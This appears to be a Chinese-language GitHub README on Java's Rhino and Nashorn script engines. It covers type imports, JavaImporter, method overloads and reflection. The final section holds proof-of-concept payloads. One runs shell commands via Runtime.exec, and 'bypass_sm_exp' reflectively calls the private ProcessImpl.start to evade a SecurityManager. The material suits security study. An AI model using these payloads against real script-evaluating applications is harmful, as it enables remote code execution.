Skip to content

Latest commit

 

History

History
 
 

Folders and files

NameName
Last commit message
Last commit date

parent directory

..
 
 
 
 
 
 
 
 
 
 
 
 

Readme.md

ScriptEngineManager

Java 6/7采用的js解析引擎是Rhino

java8开始换成了Nashorn。

调用Java方法

前面加上全限定类名即可

var s = [3];
s[0] = "cmd";
s[1] = "/c";
s[2] = "whoami";
var p = java.lang.Runtime.getRuntime().exec(s);
var sc = new java.util.Scanner(p.getInputStream(),"GBK").useDelimiter("\\A");//输出
var result = sc.hasNext() ? sc.next() : "";
print(result)
sc.close();

导入Java类型

var str = java.lang.String;

 //这种写法仅仅支持Nashorn,Rhino并不支持。jdk8+
var str = Java.type("java.lang.String");//类型
-----------------------------------------数组--------------------------------
// Rhino
var Array = java.lang.reflect.Array
var intClass = java.lang.Integer.TYPE
var array = Array.newInstance(intClass, 8)

// Nashorn
var str = Java.type("java.lang.String[]");
var IntArray = Java.type("int[]")
var array = new IntArray(8)

导入Java class

通过反射可以获得java类

// Rhino
var str = java.lang.String.class;
var impl = java.lang.ProcessImpl.class;

// Nashorn
var str = Java.type("java.lang.String").class;//类型
var impl = Java.type("java.lang.ProcessImpl").class;

导入Java类

load("nashorn:mozilla_compat.js");

importClass(java.util.HashSet);
var set = new HashSet();

importPackage(java.util);
var list = new ArrayList();

在一些特殊情况下,导入的全局包会影响js中的函数,例如类名冲突。这个时候可以用JavaImporter,并配合with语句,对导入的Java包设定一个使用范围。

// create JavaImporter with specific packages and classes to import

var SwingGui = new JavaImporter(javax.swing,
                            javax.swing.event,
                            javax.swing.border,
                            java.awt.event);
with (SwingGui) {
    // 在with里面才可以调用swing里面的类,防止污染
    var mybutton = new JButton("test");
    var myframe = new JFrame("test");
}

方法调用

方法在JavaScript中实际上是对象的一个属性,所以除了使用 . 来调用方法之外,也可以使用[]来调用方法:

var System = Java.type('java.lang.System');
System.out.println('Hello, World');    // Hello, World
System.out['println']('Hello, World'); // Hello, World

方法重载

Java支持重载(Overload)方法,例如,System.out 的 println 有多个重载版本,如果你想指定特定的重载版本,可以使用[]指定参数类型。例如:

var System = Java.type('java.lang.System');
System.out['println'](3.14);          // 3.14
System.out['println(double)'](3.14);  // 3.14
System.out['println(int)'](3.14);     // 3

反射

import javax.script.ScriptEngine;
import javax.script.ScriptEngineManager;

public class main {
    public static void main(String[] args) throws Exception {
        String poc1 = "var s = [3];\n" +
                "s[0] = \"cmd\";\n" +
                "s[1] = \"/c\";\n" +
                "s[2] = \"whoami\";" +
                "var p = java.lang.Runtime.getRuntime().exec(s);\n" +
                "var sc = new java.util.Scanner(p.getInputStream(),\"GBK\").useDelimiter(\"\\\\A\");\n" +
                "var result = sc.hasNext() ? sc.next() : \"\";\n" +
                "print(result);sc.close();";

        String bypass_sm_exp = "var str = Java.type('java.lang.String[]').class;" +
                "var map = Java.type('java.util.Map').class;" +
                "var string = Java.type('java.lang.String').class;" +
                "var Redirect = Java.type('java.lang.ProcessBuilder.Redirect[]').class;" +
                "var boolean = Java.type('boolean').class;" +
                "var c = java.lang.Class.forName('java.lang.ProcessImpl');" +
                "var start = c.getDeclaredMethod('start',str,map,string,Redirect,boolean);" +
                "start.setAccessible(true);" +
                "var anArray = [\"cmd\", \"/c\", \"ipconfig\"];" +
                "var cmd = Java.to(anArray, Java.type(\"java.lang.String[]\"));" +
                "var input = start.invoke(null,cmd,null,null,null,false).getInputStream();" +
                "var reader = new java.io.BufferedReader(new java.io.InputStreamReader(input));" +
                "var stringBuilder = new java.lang.StringBuilder();" +
                "var line = null;" +
                "while((line = reader.readLine())!=null){" +
                "stringBuilder.append(line);" +
                "stringBuilder.append('\\r\\n');"+
                "}" +
                "stringBuilder.toString();" +
                "print(stringBuilder)";
        ScriptEngine engine = new ScriptEngineManager().getEngineByExtension("js");
        engine.eval(bypass_sm_exp);
    }
}